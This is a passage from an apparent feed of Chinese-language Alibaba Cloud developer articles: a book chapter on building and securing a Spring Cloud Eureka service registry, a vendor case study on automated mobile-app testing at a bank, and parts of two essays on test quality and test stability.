        • 让无效用例可被识别、清理。
        • 创造一个让技术人员真正思考如何写好TestCase的质量文化。
        • 测试左移与敏捷的前置条件。
        • ......

        写到最后,想起了同事给我讲的一个有趣的人生经历:

        “大二期间在一家出版社编辑部实习,工作内容就是校对文稿中的各种类型的错误;编辑部考核校对质量的办法是,人为的事先在文稿中加入各种类型的错误,然后根据你的错误发现率来衡量,并计算实习工资。”

        “你干得咋样?”

        “我学习了他们的规则,写了个程序来查错,拿到了第一个满分”

        “厉害了...”

        “第二个月就不行了,他们不搞错别字了,搞了一堆语法、语义、中心思想的错误... 我就专心干活儿了”

        “...”

        殊途同归,其致一也。

        文章来源:AlibabaTechQA
        开发者社区整理

        ]]>
        带你读《Spring Cloud微服务:入门、实战与进阶》之三:Eureka注册中心-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第二章

        第3章

        Eureka注册中心
        注册中心在微服务架构中是必不可少的一部分,主要用来实现服务治理功能,本章我们将学习如何用 Netflix 提供的 Eureka 作为注册中心,来实现服务治理的功能。

        3.1 Eureka

        Spring Cloud Eureka 是 Spring Cloud Netflix 微服务套件的一部分,基于 Netflix Eureka 做了二次封装,主要负责实现微服务架构中的服务治理功能。Spring Cloud Eureka 是一个基于 REST 的服务,并且提供了基于 Java 的客户端组件,能够非常方便地将服务注册到Spring Cloud Eureka 中进行统一管理。
        服务治理是微服务架构中必不可少的一部分,阿里开源的 Dubbo 框架就是针对服务治理的。服务治理必须要有一个注册中心,除了用 Eureka 作为注册中心外,我们还可以使用 Consul、Etcd、Zookeeper等来作为服务的注册中心。
        用过 Dubbo 的读者应该清楚,Dubbo中也有几种注册中心,比如基于Zookeeper、基于 Redis 等,不过用得最多的还是 Zookeeper方式。至于使用哪种方式都是可以的,注册中心无非就是管理所有服务的信息和状态。若用我们生活中的例子来说明的话,笔者觉得12306 网站比较合适。
        首先,12306网站就好比一个注册中心,顾客就好比调用的客户端,当他们需要坐火车时,就会登录12306 网站上查询余票,有票就可以购买,然后获取火车的车次、时间等,最后出发。
        程序也是一样,当你需要调用某一个服务的时候,你会先去 Eureka 中去拉取服务列表,查看你调用的服务在不在其中,在的话就拿到服务地址、端口等信息,然后调用。
        注册中心带来的好处就是,不需要知道有多少提供方,你只需要关注注册中心即可,就像顾客不必关心有多少火车在开行,只需要去12306网站上看有没有票就可以了。
        为什么Eureka 比 Zookeeper 更适合作为注册中心呢?主要是因为 Eureka 是基于 AP 原则构建的,而 ZooKeeper 是基于 CP 原则构建的。在分布式系统领域有个著名的 CAP 定理, 即 C 为数据一致性;A 为服务可用性;P 为服务对网络分区故障的容错性。这三个特性在任何分布式系统中都不能同时满足,最多同时满足两个。
        Zookeeper 有一个 Leader,而且在这个Leader 无法使用的时候通过 Paxos(ZAB)算法选举出一个新的 Leader。这个 Leader 的任务就是保证写数据的时候只向这个 Leader 写入, Leader 会同步信息到其他节点。通过这个操作就可以保证数据的一致性。
        总而言之,想要保证 AP 就要用 Eureka,想要保证 CP 就要用 Zookeeper。Dubbo 中大部分都是基于 Zookeeper 作为注册中心的。Spring Cloud 中当然首选 Eureka。

        3.2 使用 Eureka 编写注册中心服务

        首先创建一个 Maven 项目,取名为 eureka-server,在 pom.xml 中配置 Eureka 的依赖信息,如代码清单 3-1 所示。

        image.png
        image.png

        创建一个启动类 EurekaServerApplication,如代码清单 3-2 所示。

        image.png

        这里所说的启动类,跟我们之前讲的 Spring Boot 几乎完全一样,只是多了一个 @EnableEurekaServer 注解,表示开启 Eureka Server。
        接下来在 src/main/resources 下面创建一个 application.properties 属性文件,增加下面的配置:
        image.png

        eureka.client.register-with- eureka 一定要配置为 false,不然启动时会把自己当作客户端向自己注册,会报错。
        接下来直接运行EurekaServerApplication 就可以启动我们的注册中心服务了。我们在 application.properties 配置的端口是 8761,则可以直接通过 http://localhost:8761/ 去浏览器中访问,然后便会看到Eureka 提供的 Web 控制台,如图3-1 所示。

        image.png

        3.3 编写服务提供者

        3.3.1 创建项目注册到Eureka

        注册中心已经创建并且启动好了,接下来我们实现将一个服务提供者eureka-client-user-service 注册到 Eureka 中,并提供一个接口给其他服务调用。
        首先还是创建一个 Maven 项目,然后在 pom.xml 中增加相关依赖,如代码清单 3-3
        所示。

        image.png

        创建一个启动类App,代码如代码清单 3-4 所示。

        image.png

        启动类的方法与之前没有多大区别,只是注解换成@EnableDiscoveryClient,表示当前服务是一个 Eureka 的客户端。
        接下来在src/main/resources下面创建一个 application.properties属性文件,增加下面的配置:
        image.png

        eureka.client.serviceUrl.defaultZone 的地址就是我们之前启动的 Eureka 服务的地址,在启动的时候需要将自身的信息注册到 Eureka 中去。
        执行 App 启动服务,我们可以看到控制台中有输出注册信息的日志:
        DiscoveryClient_EUREKA-CLIENT-USER-SERVICE/eureka-client-user-service:192.168.31.245:8081 - registration status: 204
        我们可以进一步检查服务是否注册成功。回到之前打开的Eureka 的 Web 控制台,刷新页面,就可以看到新注册的服务信息了,如图3-2 所示。

        image.png

        3.3.2 编写提供接口

        创建一个 Controller,提供一个接口给其他服务查询,如代码清单 3-5 所示。

        image.png
        image.png

        重启服务,访问 http://localhost:8081/user/hello ,如果能看到我们返回的 Hello 字符串,就证明接口提供成功了。

        3.4 编写服务消费者

        3.4.1 直接调用接口

        创建服务消费者,消费我们刚刚编写的 user/hello 接口,同样需要先创建一个 Maven 项目eureka-client-article-service,然后添加依赖,依赖和服务提供者的一样,这里就不贴代码了。
        创建启动类App,启动代码与前面所讲也是一样的。唯一不同的就是 application.properties 文件中的配置信息:
        spring.application.name=eureka-client-article-service
        server.port=8082
        RestTemplate 是Spring提供的用于访问 Rest 服务的客户端,RestTemplate 提供了多种便捷访问远程 Http 服务的方法,能够大大提高客户端的编写效率。我们通过配置RestTemplate 来调用接口,如代码清单 3-6 所示。

        image.png

        创建接口,在接口中调用 user/hello 接口,代码如代码清单 3-7 所示。

        image.png
        image.png

        执行App启动消费者服务,访问/article/callHello 接口来看看有没有返回 Hello 字符串,如果返回了就证明调用成功。访问地址为 http://localhost:8082/article/callHello

        3.4.2 通过Eureka来消费接口

        上面提到的方法是直接通过服务接口的地址来调用的,和我们之前的做法一样,完全没有用到 Eureka 带给我们的便利。既然用了注册中心,那么客户端调用的时候肯定是不需要关心有多少个服务提供接口,下面我们来改造之前的调用代码。
        首先改造 RestTemplate 的配置,添加一个 @LoadBalanced 注解,这个注解会自动构造LoadBalancerClient 接口的实现类并注册到 Spring 容器中,如代码清单 3-8 所示。

        image.png

        接下来就是改造调用代码,我们不再直接写固定地址,而是写成服务的名称,这个名称就是我们注册到 Eureka 中的名称,是属性文件中的 spring.application.name,相关代码如代码清单 3-9 所示。

        image.png

        3.5 开启 Eureka 认证

        Eureka 自带了一个 Web 的管理页面,方便我们查询注册到上面的实例信息,但是有一个问题:如果在实际使用中,注册中心地址有公网 IP 的话,必然能直接访问到,这样是不安全的。所以我们需要对 Eureka 进行改造,加上权限认证来保证安全性。
        改造我们的 eureka-server,通过集成 Spring-Security 来进行安全认证。
        在 pom.xml 中添加 Spring-Security 的依赖包,如代码清单 3-10 所示。

        image.png

        然后在 application.properties 中加上认证的配置信息:
        spring.security.user.name=yinjihuan #用户名
        spring.security.user.password=123456 #密码
        增加Security配置类:

        image.png

        重新启动注册中心,访问 http://localhost:8761/ ,此时浏览器会提示你输入用户名和密码,输入正确后才能继续访问 Eureka 提供的管理页面。
        在 Eureka 开启认证后,客户端注册的配置也要加上认证的用户名和密码信息:
        eureka.client.serviceUrl.defaultZone=

                    http://yinjihuan:123456@localhost:8761/eureka/

        3.6 Eureka高可用搭建

        3.6.1 高可用原理

        前面我们搭建的注册中心只适合本地开发使用,在生产环境中必须搭建一个集群来保证高可用。Eureka 的集群搭建方法很简单:每一台 Eureka 只需要在配置中指定另外多个Eureka 的地址就可以实现一个集群的搭建了。
        下面我们以 2 个节点为例来说明搭建方式。假设我们有 master 和 slaveone 两台机器, 需要做的就是:

        • 将 master 注册到 slaveone 上面。
        • 将 slaveone 注册到 master 上面。

        如果是 3 台机器,以此类推:

        • 将 master 注册到 slaveone 和 slavetwo 上面。
        • 将 slaveone 注册到 master 和 slavetwo 上面。
        • 将 slavetwo 注册到 master 和 slaveone 上面。

        3.6.2 搭建步骤

        创建一个新的项目eureka-server-cluster,配置跟eureka-server一样。
        首先,我们需要增加 2 个属性文件,在不同的环境下启动不同的实例。增加 application-master.properties:

        image.png

        在A机器上默认用 master启动,然后在B机器上加上 --spring.profiles.active= slaveone 启动即可。
        这样就将master注册到了slaveone中,将slaveone 注册到了master中,无论谁出现问题,应用都能继续使用存活的注册中心。
        之前在客户端中我们通过配置eureka.client.serviceUrl.defaultZone来指定对应的注册中心,当我们的注册中心有多个节点后,就需要修改eureka.client.serviceUrl.defaultZone的配置为多个节点的地址,多个地址用英文逗号隔开即可:
        eureka.client.serviceUrl.defaultZone=http://yinjihuan:123456@localhost:8761

                   /eureka/,http://yinjihuan:123456@localhost:8762/eureka/

        3.7 常用配置讲解

        3.7.1 关闭自我保护

        保护模式主要在一组客户端和 Eureka Server 之间存在网络分区场景时使用。一旦进入保护模式,Eureka Server 将会尝试保护其服务的注册表中的信息,不再删除服务注册表中的数据。当网络故障恢复后,该 Eureka Server 节点会自动退出保护模式。
        如果在 Eureka 的 Web 控制台看到图3-3 所示的内容,就证明Eureka Server进入保护模式了。

        image.png

        可以通过下面的配置将自我保护模式关闭,这个配置是在eureka-server 中:
        eureka.server.enableSelfPreservation=false

        3.7.2 自定义Eureka的InstanceID

        客户端在注册时,服务的 Instance ID 的默认值的格式如下:
        ${spring.cloud.client.hostname}:${spring.application.name}:${spring.application. instance_id:${server.port}}
        翻译过来就是“主机名:服务名称:服务端口”。当我们在 Eureka 的 Web 控制台查看服务注册信息的时候,就是这样的一个格式:user-PC:eureka-client-user-service:8081。
        很多时候我们想把 IP 显示在上述格式中,此时,只要把主机名替换成 IP 就可以了,或者调整顺序也可以。可以改成下面的样子,用“服务名称:服务所在IP:服务端口”的格式来定义:
        eureka.instance.instance-id=${spring.application.name}:${spring.cloud.client.ip-address}:${server.port}
        定义之后我们看到的就是 eureka-client-user-service:192.168.31.245:8081,一看就知道是哪个服务,在哪台机器上,端口是多少。
        我们还可以点击服务的 Instance ID 进行跳转,这个时候显示的名称虽然变成了 IP,但是跳转的链接却还是主机名,请看图3-4 所示界面的左下角。

        image.png

        所以还需要加一个配置才能让跳转的链接变成我们想要的样子,使用 IP 进行注册,如图3-5 所示:
        eureka.instance.preferIpAddress=true

        image.png

        3.7.3 自定义实例跳转链接

        在3.7.2中,我们通过配置实现了用 IP 进行注册,当点击 Instance ID 进行跳转的时候,就可以用 IP 跳转了,跳转的地址默认是 IP+Port/info。我们可以自定义这个跳转的地址:
        eureka.instance.status-page-url=http://cxytiandi.com
        效果如图3-6 所示。

        image.png

        3.7.4 快速移除已经失效的服务信息

        在实际开发过程中,我们可能会不停地重启服务,由于 Eureka 有自己的保护机制,故节点下线后,服务信息还会一直存在于 Eureka 中。我们可以通过增加一些配置让移除的速度更快一点,当然只在开发环境下使用,生产环境下不推荐使用。
        首先在我们的eureka-server中增加两个配置,分别是关闭自我保护和清理间隔:
        image.png

        eureka.client.healthcheck.enabled 用于开启健康检查,需要在 pom.xml 中引入 actuator
        的依赖,如代码清单 3-12 所示。

        image.png

        其中:

        • eureka.instance.lease-renewal-interval-in-seconds表示Eureka Client发送心跳给server端的频率。
        • eureka.instance.lease-expiration-duration-in-seconds 表示 Eureka Server 至上一次收到client 的心跳之后,等待下一次心跳的超时时间,在这个时间内若没收到下一次心跳,则移除该 Instance。

        更多的Instance 配置信息可参考源码中的配置类:org.springframework.cloud.netflix. eureka.
        EurekaInstanceConfigBean。
        更多的Server配置信息可参考源码中的配置类:org.springframework.cloud.netflix. eureka. server.EurekaServerConfigBean。

        3.8 扩展使用

        3.8.1 Eureka REST API

        Eureka 作为注册中心,其本质是存储了每个客户端的注册信息,Ribbon 在转发的时候会获取注册中心的服务列表,然后根据对应的路由规则来选择一个服务给 Feign 来进行调用。如果我们不是 Spring Cloud 技术选型,也想用 Eureka,可以吗?完全可以。
        如果不是 Spring Cloud 技术栈,笔者推荐用 Zookeeper,这样会方便些,当然用 Eureka 也是可以的,这样的话就会涉及如何注册信息、如何获取注册信息等操作。其实 Eureka 也考虑到了这点,提供了很多 REST 接口来给我们调用。
        我们举一个比较有用的案例来说明,比如对 Nginx 动态进行 upstream 的配置。
        在架构变成微服务之后,微服务是没有依赖的,可以独立部署,端口也可以随机分配, 反正会注册到注册中心里面,调用方也无须关心提供方的 IP和Port,这些都可以从注册中心拿到。但是有一个问题:API 网关的部署能这样吗?API网关大部分会用 Nginx 作为负载,那么Nginx就必须知道API网关有哪几个节点,这样网关服务就不能随便启动了,需要固定。
        当然网关是不会经常变动的,也不会经常发布,这样其实也没什么大问题,唯一不好的就是不能自动扩容了。
        其实利用 Eureka 提供的 API 我们可以获取某个服务的实例信息,也就是说我们可以根据 Eureka 中的数据来动态配置 Nginx 的 upstream。
        这样就可以做到网关的自动部署和扩容了。网上也有很多的方案,结合 Lua 脚本来做, 或者自己写 Sheel 脚本都可以。
        下面举例说明如何获取 Eureka 中注册的信息。具体的接口信息请查看官方文档:
        https://github.com/Netflix/eureka/wiki/Eureka-REST-operations
        获取某个服务的注册信息,可以直接 GET 请求:http://localhost:8761/eureka/apps/eureka-client-user-service 。其中,eureka-client-user-service 是应用名称,也就是 spring.application.name。
        在浏览器中,数据的显示格式默认是 XML 格式的,如图3-7 所示。

        image.png

        如果想返回 Json 数据的格式,可以用一些接口测试工具来请求,比如 Postman,在请求头中添加下面两行代码即可,具体如图3-8 所示。
        Content-Type:application/json Accept:application/json
        如果 Eureka 开启了认证,记得添加认证信息,用户名和密码必须是 Base64 编码过的 Authorization:Basic 用户名:密码,其余的接口就不做过多讲解了,大家可以自己去尝试。Postman 直接支持了 Basic 认证,将选项从 Headers 切换到 Authorization,选择认证方式为 Basic Auth 就可以填写用户信息了,如图3-9 所示。
        填写完之后,直接发起请求就可以了。我们切换到 Headers 选项中,就可以看到请求头中已经多了一个 Authorization 头。

        image.png

        image.png

        3.8.2 元数据使用

        Eureka 的元数据有两种类型,分别是框架定好了的标准元数据和用户自定义元数据。标准元数据指的是主机名、IP 地址、端口号、状态页和健康检查等信息,这些信息都会被发布在服务注册表中,用于服务之间的调用。自定义元数据可以使用 eureka.instance. metadataMap 进行配置。
        自定义元数据说得通俗点就是自定义配置,我们可以为每个 Eureka Client 定义一些属于自己的配置,这个配置不会影响 Eureka 的功能。自定义元数据可以用来做一些扩展信息,比如灰度发布之类的功能,可以用元数据来存储灰度发布的状态数据,Ribbon 转发的时候就可以根据服务的元数据来做一些处理。当不需要灰度发布的时候可以调用 Eureka 提供的 REST API 将元数据清除掉。
        下面我们来自定义一个简单的元数据,在属性文件中配置如下:
        eureka.instance.metadataMap.yuantiandi=yinjihuan
        上述代码定义了一个 key 为 yuantiandi 的配置,value 是 yinjihuan。重启服务,然后通过 Eureka 提供的 REST API 来查看刚刚配置的元数据是否已经存在于 Eureka 中,如图3-10 所示。

        image.png

        3.8.3 EurekaClient使用

        当我们的项目中集成了 Eureka 之后,可以通过 EurekaClient 来获取一些我们想要的数据,比如上节讲的元数据。我们就可以直接通过 EurekaClient 来获取(见代码清单 3-13),不用再去调用 Eureka 提供的 REST API。

        image.png

        通过 PostMan 来调用接口看看有没有返回我们想要的数据,如图3-11 所示。

        image.png

        可以看到,通过 EurekaClient 获取的数据跟我们自己去掉 API 获取的数据是一样的, 从使用角度来说前者比较方便。
        除了使用 EurekaClient,还可以使用 DiscoveryClient(见代码清单 3-14),这个不是 Feign 自带的,是 Spring Cloud 重新封装的,类的路径为 org.springframework.cloud.client. discovery.DiscoveryClient。

        image.png
        image.png

        3.8.4 健康检查

        默认情况下,Eureka 客户端是使用心跳和服务端通信来判断客户端是否存活,在某些场景下,比如MongoDB出现了异常,但你的应用进程还是存在的,这就意味着应用可以继续通过心跳上报,保持应用自己的信息在Eureka中不被剔除掉。
        Spring Boot Actuator 提供了 /actuator/health 端点,该端点可展示应用程序的健康信息,当MongoDB异常时,/actuator/health 端点的状态会变成DOWN,由于应用本身确实处于存活状态,但是MongoDB的异常会影响某些功能,当请求到达应用之后会发生操作失败的
        情况。
        在这种情况下,我们希望可以将健康信息传递给 Eureka 服务端。这样Eureka中就能及时将应用的实例信息下线,隔离正常请求,防止出错。通过配置如下内容开启健康检查:
        eureka.client.healthcheck.enabled=true
        我们可以通过扩展健康检查的端点来模拟异常情况,定义一个扩展端点,将状态设置为DOWN,如代码清单 3-15 所示。

        image.png

        扩展好后我们访问/actuator/health可以看到当前的状态是DOWN,如图3-12所示。

        image.png

        Eureka中的状态是UP,如图3-13所示。

        image.png

        这种情况下请求还是能转发到这个服务中,下面我们开启监控检查,再次查看Eureka中的状态,如图3-14所示。

        image.png

        3.8.5 服务上下线监控

        在某些特定的需求下,我们需要对服务的上下线进行监控,上线或下线都进行邮件通知,Eureka 中提供了事件监听的方式来扩展。
        目前支持的事件如下:

        • EurekaInstanceCanceledEvent 服务下线事件。
        • EurekaInstanceRegisteredEvent 服务注册事件。
        • EurekaInstanceRenewedEvent 服务续约事件。
        • EurekaRegistryAvailableEvent Eureka 注册中心启动事件。
        • EurekaServerStartedEvent Eureka Server 启动事件。

        基于 Eureka 提供的事件机制,可以监控服务的上下线过程,在过程发生中可以发送邮件来进行通知。代码清单3-16只是演示了监控的过程,并未发送邮件。

        image.png
        image.png

        注意:在Eureka集群环境下,每个节点都会触发事件,这个时候需要控制下发送通知的行为,不控制的话每个节点都会发送通知。

        3.9 本章小结

        通过本章的学习,我们已经能够独立搭建一个高可用的 Eureka 注册中心,通过服务提供者和服务消费者的案例我们也对 Eureka 进行了实际的运用。本章最后讲解了一些经常用到的配置信息及 Eureka 的 REST API,通过 API 可以做一些扩展。

        ]]>
        阿里云移动研发平台 EMAS 助力「广发银行」打造测试中台,提升5倍 APP 发版效能-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        adult-app-developer-coding-1181244.jpg

        随着移动互联网的发展,手机银行凭借低成本、操作简单、不受时间空间约束等优势,正逐步替代传统的网银交易方式。越来越多的银行开始了“业务移动化”转型之路,“手机APP”已经成为企业价值传递和关系维护的关键纽带,客户争夺的主战场已转向移动端,事实上手机银行的用户比例早已超越了网银用户。

        但是伴随着银行APP承载的业务需求日益增多、版本迭代速度不断加快,以“手工测试”为基础的测试体系,已很难满足业务对测试效率和质量的要求。以广发银行为例,旗下“发现精彩”APP承载了300多个功能、覆盖1000多个页面,服务2200多万用户,如何有效保障用户体验对于技术团队来说,一直是一个比较大的挑战。

        APP 测试急需完成从“纯人工”到“人机协同”的范式转换。

        一、银行 APP 的质量挑战

        银行类APP所承载的业务,都是围绕“钱”展开,比如转账、理财、支付等核心功能,都不开“钱”。而在实际研发过程中,在确定的发版时间约束下,版本实际开发完成后,往往留给测试团队的时间很短,加上使用人工测试,功能覆盖面难以保障,且人工测试效率低下,导致版本发布后问题频出。Top 10 金融APP测试通过率仅52%,无响应、白屏、显示异常现象频出,导致用户体验差。

        总结来说,银行在APP测试中,主要面临两大挑战:
        (1)功能测试场景:脚本自动化难、脚本维护复用难、参数管理难
        (2)兼容性测试场景:没有足够多的机型覆盖

        1.1、功能测试场景

        image.png

        1.1.1、“手工”测试难以应对业务快速迭代的挑战

        • 业务需求多,发版节奏快

        银行业务转型到手机APP后,APP 成为企业“链接”用户的主要载体,原有PC承载的业务,都需要在短时间内迁移到APP,对研发和测试资源带来很大的压力。同时,市场快速变化,存量业务调整和新业务创新探索,也需要保障好质量。为了快速满足业务诉求,将需求拆分为多个版本,快速发版,已经成为企业的刚需。一个月发一次版本,甚至几个月才发一次版本,已经无法跟上市场的节奏。

        • “人工”测试效率低,覆盖不够

        传统模式下,APP上线前主要依托于测试工程师规划、设计测试用例,然后手动完成测试。但是,银行业务,通常都是跟“钱”相关,对质量要求很高,业务需要更全面的覆盖。

        以广发银行“发现精彩”APP为例,总计有1700多条用例,每次需要投入几十个测试人员来进行测试验证。在引入阿里云 EMAS 自动化测试平台以前,用例自动化覆盖率只有10%左右,主要依靠人工的方式进行测试,用例多,测试周期长,发版周期也直接受到影响。

        1.1.2、模拟业务场景困难

        屏幕快照 2019-11-04 下午5.43.09.png

        银行业务链路通常都很长,不是一两步就能完成,而且实际业务流程中,涉及到的测试参数多达几百个。另外,传统接口测试无法模拟真实场景,导致测试结果和实际情况有较大偏差,上线后出问题也是情理之中的事。

        1.1.3、业务覆盖率不够,上线后问题频出

        实际研发过程中,测试工程师所测试的版本并不是固定不变的,尤其是进入到发版阶段后,几小时就有一个新版本。面对这种情况,测试工程师测试重点保障核心业务功能,无法保障整体用例覆盖率,这就给版本发布埋下了隐患,导致版本上线后出现问题。

        1.1.4、测试知识缺乏数据化、资产化

        传统手工测试方式,主要依靠个人的主观能动性和过往的经验积累,实际测试过程中,一些成功的测试用例场景、测试方法缺乏沉淀,难以完成从“个人能力”到“组织能力”的升华,进而无法完成组织效能的跃升。

        1.2、机型兼容性测试场景

        1.2.1、机型多、分辨率多、系统版本多

        国内手机厂商,一般每年都有两次新品发布会,即春季和秋季发布会,每年累计有上百款机型发布,几年下来,累计的主要机型有上千款。以一个百万月活的APP为例,iOS 和 Android 两个平台一起,通常需要覆盖Top 150 款以上的机型,才能覆盖自身80%以上的用户,而如果想要确保覆盖95%以上的用户,则通常至少需要覆盖Top 500 款以上的机型。

        而且,不同的机型、不同的分辨率、不同的系统版本,也会引发更多的兼容性风险。这也是导致金融类Top 10 APP 整体机型通过率不足50%的重要原因。

        1.2.2、机型采购有限

        作为银行,不可能购买全量机型,并经常更新,通常是购买主流旗舰机型,大概在50款以内。这样的机型覆盖度,可以规避50%左右的用户兼容性风险,但相对高质量的 APP 还存在很大的差距。

        二、阿里云 EMAS 解决方案

        屏幕快照 2019-11-04 下午8.08.02.png

        阿里云 EMAS 移动测试平台,针对银行的「功能」和「兼容」两种场景,都有成熟的解决方案。

        2.1、功能测试场景

        阿里云 EMAS 移动测试平台提供私有部署输出服务,主要解决银行功能测试场景的诉求。私有部署不仅满足银行安全、政策合规的要求,而且,独享的自动化测试平台,还可以基于OpenAPI 联动 DevOps等其它系统平台。

        幻灯片8.jpeg
        【图1】EMAS 移动测试系统架构图

        2.1.1、强大的用例库

        image.png
        【图2】EMAS 移动测试平台,用例库立体结构

        功能测试的重点在于用例库,而用例库的核心在于如下4点:

        • 用例设计
        • 用例脚本化
        • 参数管理
        • 脚本的高可复用

        【用例设计】
        做事之前,先规划。用例设计就是进行测试之前的整体规划,会涉及到不同的项目组,不同的业务线。EMAS 测试平台提供了“项目组”的概念,可以有效解决多项目组协同的问题。同时,用例设计落到具体的业务功能上,就要求测试人员在进行整体“用例脚本化”之前,从更高的层面设计整体用例结构,明确规范。阿里云 EMAS 平台可以输出对应方法论,指导具体实践。

        【用例脚本化】
        脚本化即程序化。EMAS 移动测试平台,提供了在线录制脚本的能力,可以不用学习 Appium 框架、Python 或 Java语言,就可以完成基本用例的程序化,极大降低上手成本。同时,由于是基于开源的测试自动化框架 Appium 作为基础升级改造而成,可用于原生,混合和移动Web应用程序测试,兼容性好。
        20191030204327.jpg
        【图3】在线录制脚本-左侧是APP页面,右侧是录制的步骤

        20191030204450.jpg
        【图4】录制完成后,可以录制回放步骤,左侧手机可以看到实时效果

        自身业务常用能力,也可以自己封装为固定步骤,变成一个菜单,需要的时候,直接点击生成脚本。
        20191030205126.jpg
        【图5】常用步骤菜单

        【参数管理】
        银行业务,由于参数有几百个之多。EMAS 移动测试平台在数据管理上,主要由两个大的突破:
        (1)在参数传递上,支持按变量传递,也支持直接传固定参数值;
        (2)为了解决多数据管理复用问题,提供了三层数据管理能力,即:

        • APP 全局参数集:例如服务器 ip 地址
        • 用例集参数:多用例公用的参数
        • 用例参数:单个独立用例使用的参数

        屏幕快照 2019-11-04 下午5.54.29.png

        【脚本的组合复用】
        为了避免同样的功能,重复录制成多份脚本导致的资源和人力的浪费,平台提供了用例的高可复用能力。

        例如,登录功能,录制完成一份脚本后,可以作为单步骤,插入到其它业务脚本流程里,极大提升复用率。同时,由于可以控制传递的参数,可以在正常和非正常的测试用例中复用,进一步扩大脚本的复用场景。

        image.png
        【图6】“登录”脚本,可以被复用两次。如果业务功能不变,可以一直复用,跟其他脚本组合,覆盖更多场景。

        2.1.2、特殊场景覆盖

        银行业务里面,还有很多特殊场景,比如随机密码键盘、验证码处理、还有一些文字的识别、上传身份证处理等
        image.png
        【图7】随机密码键盘

        针对这些特殊场景,阿里云也提供对应的解决方案,保障脚本自动化的时候,不被打断。

        2.1.3、测试方法论

        为了确保平台能发挥出最大的效能,基于阿里多年的经验积累,输出EMAS 测试平台最佳实践方法论。

        屏幕快照 2019-11-04 下午2.57.20.png
        【图8】“平台能力”+“人工”的最佳实践,提升效能

        2.2、机型兼容性测试场景

        私有部署的 EMAS 移动测试平台,侧重在功能场景的覆盖,但是由于机型有限,也不太可能同时购买几百款机型。为了解决机型覆盖兼容的问题,阿里云 EMAS 提供了一站式48小时的专家测试服务,可以覆盖安卓Top 600款机型,iOS top 70款项机型。

        image.png
        【图9】48小时一站式专家测试服务

        三、广发银行最佳实践

        3.1、阿里云 EMAS 助力打造测试中台

        image.png
        【图10】广发银行移动测试体系

        引入 EMAS 后,广发银行完成了5大维度的升级:
        【1】基于「在线录制」,测试开发人员,可以在线录制用例,生成脚本,告别纯手动写脚本;
        【2】基于「二次开发」,有经验的测试开发,封装常见的用例和测试步骤;
        【3】基于「用例管理」,实现同一版本内和不同版本APP间的用例高可复用,极大较低成本;
        【4】基于「远程调试」,开发人员可以实现存量机型的共享,通过远程调试快速完成问题的复现和定位;
        【5】基于「Open API」,对接到自身的Bug管理系统和项目管理系统,完成与业务中台的流程整合。

        3.2、实际效果

        广发银行“发现精彩”承载了300多个功能、覆盖1000多个页面,服务2200多万用户。在引入平台后,不仅线上问题下降30%,而且提升了5倍的发版效能。
        画板备份 7@2x.png

        四、总结

        银行类APP,在版本快速迭代中,面临功能和兼容两个维度的挑战,阿里云 EMAS 提供了两个场景的解决方案
        (1)功能覆盖场景:阿里云 EMAS 平台可以提供在线录制、用例管理、参数管理等能力,降低用例脚本化和维护成本;
        (2)兼容覆盖场景:阿里云 EMAS 提供一站式专家测试服务,覆盖650款以上主流机型,解决APP的兼容问题。

        相关资料:

        (1)EMAS 移动测试官网:https://www.aliyun.com/product/mqc
        (2)EMAS 移动测试业务说明地址:https://help.aliyun.com/document_detail/93530.html
        (3)EMAS 移动测试,联系我们:https://help.aliyun.com/knowledge_detail/101478.html
        (4)EMAS 专家测试服务:https://www.aliyun.com/service/mobiletesting
        (5)EMAS 专有云服务介绍:https://help.aliyun.com/document_detail/67127.html
        (6)EMAS 专家测试服务价格说明:https://help.aliyun.com/document_detail/93617.html

        ]]>
        阿里研究员:测试稳定性三板斧,我怎么用?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 1.png

        郑子颖:阿里巴巴研究员,2002年上海交通大学计算机系硕士毕业。2018年3月加入阿里,负责质量和技术风险。

        1. 测试稳定性问题

        理想情况下,我们希望每一个失败的测试用例[1]都是由真正的缺陷引起的。实际情况中,用例失败的原因大多是一些其他的原因:

        • 某个服务的版本部署的不对
        • 测试执行机的硬盘满了,因为上次运行时写的log没清掉
        • 数据库里有脏数据
        • 测试用例写得有问题
        • 测试运行时有人手工执行了一次定时任务,把流水捞走了
        • 消息串了
        • ...

        每次排查都是一堆这种问题,时间久了,开发和测试同学也就疲了。有些同学对失败的用例草草看一眼,就说这是一个“环境问题”,不再排查下去了。如此一来,很多真正的缺陷就被漏过了。

        2. 测试稳定性三板斧

        如何治理测试稳定性问题?很多人会说:环境、流程管控、监控、工具化、加机器、专人负责、等等。这些都是对的。不过这些都是解决方案层面的,而不是方法论和理论体系层面的。

        在方法论和理论体系层面,我们对安全生产有三板斧:可灰度、可监控、可回滚。类似的,对于测试稳定性,我也有三板斧:

        • 高频(Frequency)
        • 隔离(Isolation)
        • 用完即抛(Disposable)

        三板斧之一:高频

        "If it hurts, do it more often"是我说的最多的一句话之一。这句话从Martin Fowler那儿来的,有兴趣的可以读一下他的那篇“Frequency Reduces Difficulty”的原文。

        高频跑测试的好处是:

        • 缩短验证的delay
        • 变主动验证为“消极等待”
        • 识别intermittent的问题
        • 暴露各层面的不稳定因素
        • 倒逼人肉环节的自动化
        • 提供更多的数据供分析
        • ...

        高频不单单是治理测试稳定性的不二法门,也是治理其他工程问题的game changer:

        持续打包:以前只是在部署测试环境前才打包,经常因为打包的问题导致部署花了很多时间,还影响了后面的测试进度。针对这个问题,我们做了持续打包,每个小时都会对master的HEAD打包,一旦遇到问题(例如:依赖的mvn包缺失、配置缺失、等等),马上修复。

        天天上生产:现在每周发一次生产环境,每次都费事费力。我提出能不能天天上生产。发布还是按照原来的节奏来,每周发一次新代码,一周里的其余日子,就算没有新代码也要走一遍生产发布。空转。不为别的,就是为了要用高频来暴露问题、倒逼人肉环节的自动化、倒逼各种环节的优化。

        分支合并很痛苦,那就频繁合并,一天一次,一天多次。做到极致就变成了主干开发,一直在rebase、一直在提交。

        蚂蚁的SRE团队也是用的是高频的思路。为了加强容灾能力建设、提高容灾演练的成功率,SRE团队的一个主打思想就是要高频演练,用高频演练来充分暴露问题、倒逼能力建设。

        高频也不是那么容易做到的。

